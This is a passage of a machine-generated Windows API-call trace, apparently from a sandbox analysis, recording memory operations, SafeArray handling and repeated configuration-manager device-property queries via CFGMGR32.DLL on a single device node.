pv=0x196ee7aade8) returned 0x0 [0206.426] free (_Block=0x196ef0d1d40) [0206.426] malloc (_Size=0x18) returned 0x196ef0d20a0 [0206.426] SafeArrayPutElement (psa=0x196ee7beea0, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0206.426] free (_Block=0x196ef0d20a0) [0206.427] malloc (_Size=0x18) returned 0x196ef0d19e0 [0206.427] SafeArrayPutElement (psa=0x196ee7beea0, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0206.427] free (_Block=0x196ef0d19e0) [0206.427] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ae0 [0206.427] SafeArrayGetDim (psa=0x196ee7beea0) returned 0x1 [0206.427] SafeArrayGetLBound (in: psa=0x196ee7beea0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0206.427] SafeArrayGetUBound (in: psa=0x196ee7beea0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0206.427] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6290 [0206.427] SafeArrayGetDim (psa=0x196ee7beea0) returned 0x1 [0206.427] SafeArrayGetUBound (in: psa=0x196ee7beea0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0206.427] SafeArrayGetElemsize (psa=0x196ee7beea0) returned 0x8 [0206.427] SafeArrayGetElement (in: psa=0x196ee7beea0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0206.428] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6050, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.428] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6058, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.428] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6060, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.428] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6068, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.429] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6290) returned 1 [0206.429] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ae0) returned 1 [0206.429] SetEvent (hEvent=0x248) returned 1 [0206.430] free (_Block=0x196ef0fc170) [0206.430] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0206.430] malloc (_Size=0x10e) returned 0x196ef0d6890 [0206.430] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0206.431] free (_Block=0x196ef0d6890) [0206.431] malloc (_Size=0x48) returned 0x196ef0fb680 [0206.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5be4836f, dwHighDateTime=0x1d9eb0c)) [0206.431] SetEvent (hEvent=0x248) returned 1 [0206.431] malloc (_Size=0x18) returned 0x196ef0d1da0 [0206.431] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0206.431] free (_Block=0x196ef0d1da0) [0206.431] malloc (_Size=0x18) returned 0x196ef0d1e00 [0206.432] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0206.432] free (_Block=0x196ef0d1e00) [0206.526] malloc (_Size=0x18) returned 0x196ef0d1d80 [0206.526] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0206.526] free (_Block=0x196ef0d1d80) [0206.526] malloc (_Size=0x18) returned 0x196ef0d1b60 [0206.526] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0206.526] free (_Block=0x196ef0d1b60) [0206.526] malloc (_Size=0x18) returned 0x196ef0d1de0 [0206.526] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0206.526] free (_Block=0x196ef0d1de0) [0206.526] malloc (_Size=0x18) returned 0x196ef0d1960 [0206.527] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0206.527] free (_Block=0x196ef0d1960) [0206.527] malloc (_Size=0x18) returned 0x196ef0d1960 [0206.527] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0206.527] free (_Block=0x196ef0d1960) [0206.527] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855e60 [0206.527] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0206.527] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0206.527] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0206.527] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6290 [0206.527] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0206.527] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0206.527] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0206.528] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0206.528] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee50, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.528] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee58, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.528] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee60, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.529] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee68, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.529] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee70, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.529] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee78, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.529] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee80, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0206.530] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6290) returned 1 [0206.530] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855e60) returned 1 [0206.531] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.531] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.531] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.531] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.531] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.532] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.532] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.532] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.532] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.532] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.532] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.534] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.534] malloc (_Size=0x18) returned 0x196ef0d20a0 [0206.534] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.541] malloc (_Size=0x48) returned 0x196ef0fb720 [0206.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5bf796ce, dwHighDateTime=0x1d9eb0c)) [0206.542] SetEvent (hEvent=0x248) returned 1 [0206.545] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.545] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.545] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.547] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.547] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.547] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.547] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.547] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.547] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.547] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.548] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.548] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.548] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.548] malloc (_Size=0x18) returned 0x196ef0d1e00 [0206.548] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.549] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0206.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5bf796ce, dwHighDateTime=0x1d9eb0c)) [0206.549] SetEvent (hEvent=0x248) returned 1 [0206.552] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.552] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.553] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.554] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.555] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.555] malloc (_Size=0x18) returned 0x196ef0d1a40 [0206.556] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.556] malloc (_Size=0x48) returned 0x196ef0fbb30 [0206.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5bf796ce, dwHighDateTime=0x1d9eb0c)) [0206.556] SetEvent (hEvent=0x248) returned 1 [0206.559] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.560] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.563] malloc (_Size=0x18) returned 0x196ef0d1da0 [0206.563] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.563] malloc (_Size=0x48) returned 0x196ef0fbc20 [0206.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5bf9faee, dwHighDateTime=0x1d9eb0c)) [0206.564] SetEvent (hEvent=0x248) returned 1 [0206.591] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0206.591] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0206.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0206.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0206.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0206.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0206.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0206.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0206.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0206.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0206.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0206.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0206.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0206.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0206.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0206.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0206.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0206.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0206.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0206.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0206.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0206.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0206.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0206.596] malloc (_Size=0x18) returned 0x196ef0d1e60 [0206.596] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0206.600] malloc (_Size=0x48) returned 0x196ef0fb220 [0206.600] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5bfebfd3, dwHighDateTime=0x1d9eb0c)) [0206.600] SetEvent (hEvent=0x248) returned 1 [0206.601] SetEvent (hEvent=0x248) returned 1 [0206.602] free (_Block=0x196ef0fb220) [0206.602] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x3e, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0206.602] malloc (_Size=0x48) returned 0x196ef0fbc20 [0206.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5bfebfd3, dwHighDateTime=0x1d9eb0c)) [0206.602] SetEvent (hEvent=0x248) returned 1 [0206.605] SetEvent (hEvent=0x248) returned 1 [0206.605] free (_Block=0x196ef0fbc20) [0206.605] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x3e, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0206.606] malloc (_Size=0x48) returned 0x196ef0fb810 [0206.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5bfebfd3, dwHighDateTime=0x1d9eb0c)) [0206.606] SetEvent (hEvent=0x248) returned 1 [0206.607] SetEvent (hEvent=0x248) returned 1 [0206.607] free (_Block=0x196ef0fb810) [0206.608] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0206.608] malloc (_Size=0x48) returned 0x196ef0fbd10 [0206.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5c01b524, dwHighDateTime=0x1d9eb0c)) [0206.608] SetEvent (hEvent=0x248) returned 1 [0206.612] free (_Block=0x196ef0d5a80) [0206.612] free (_Block=0x196ef0d5d20) [0206.613] free (_Block=0x196ef0d58a0) [0206.613] free (_Block=0x196ef0d5d80) [0206.614] free (_Block=0x196ef0d5900) [0206.614] free (_Block=0x196ef0d53c0) [0206.615] free (_Block=0x196ef0d5a20) [0206.615] free (_Block=0x196ef0d5420) [0206.615] free (_Block=0x196ef0d5ae0) [0206.616] free (_Block=0x196ef0d5720) [0206.616] free (_Block=0x196ef0d5cc0) [0206.616] free (_Block=0x196ef0d5960) [0206.617] free (_Block=0x196ef0d60e0) [0206.617] free (_Block=0x196ef0d6080) [0206.618] free (_Block=0x196ef0d5b40) [0206.618] free (_Block=0x196ef0d56c0) [0206.618] free (_Block=0x196ef0d5ba0) [0206.619] free (_Block=0x196ef0d59c0) [0206.619] free (_Block=0x196ef0d62c0) [0206.620] free (_Block=0x196ef0d5480) [0206.620] free (_Block=0x196ef0d5780) [0206.620] free (_Block=0x196ef0d6140) [0206.621] free (_Block=0x196ef0d6200) [0206.621] free (_Block=0x196ef0d5de0) [0206.622] free (_Block=0x196ef0d5840) [0206.622] free (_Block=0x196ef0d57e0) [0206.622] free (_Block=0x196ef0d5e40) [0206.622] free (_Block=0x196ef0d54e0) [0206.623] free (_Block=0x196ef0d5540) [0206.623] free (_Block=0x196ef0d5ea0) [0206.623] free (_Block=0x196ef0d55a0) [0206.624] free (_Block=0x196ef0d5f00) [0206.624] free (_Block=0x196ef0d5600) [0206.624] free (_Block=0x196ef0d5c00) [0206.625] free (_Block=0x196ef0d6260) [0206.625] free (_Block=0x196ef0d5660) [0206.625] free (_Block=0x196ef0d5c60) [0206.626] free (_Block=0x196ef0d5f60) [0206.626] free (_Block=0x196ef0d5fc0) [0206.626] free (_Block=0x196ef0d6020) [0206.626] free (_Block=0x196ef0d61a0) [0206.627] free (_Block=0x196ef0fa270) [0206.627] free (_Block=0x196ef0fa2d0) [0206.627] free (_Block=0x196ef0fadb0) [0206.628] free (_Block=0x196ef0fa450) [0206.628] free (_Block=0x196ef0fab10) [0206.628] free (_Block=0x196ef0fa870) [0206.629] free (_Block=0x196ef0fa6f0) [0206.629] free (_Block=0x196ef0fb110) [0206.629] free (_Block=0x196ef0fac90) [0206.630] free (_Block=0x196ef0fa210) [0206.630] free (_Block=0x196ef0fabd0) [0206.630] free 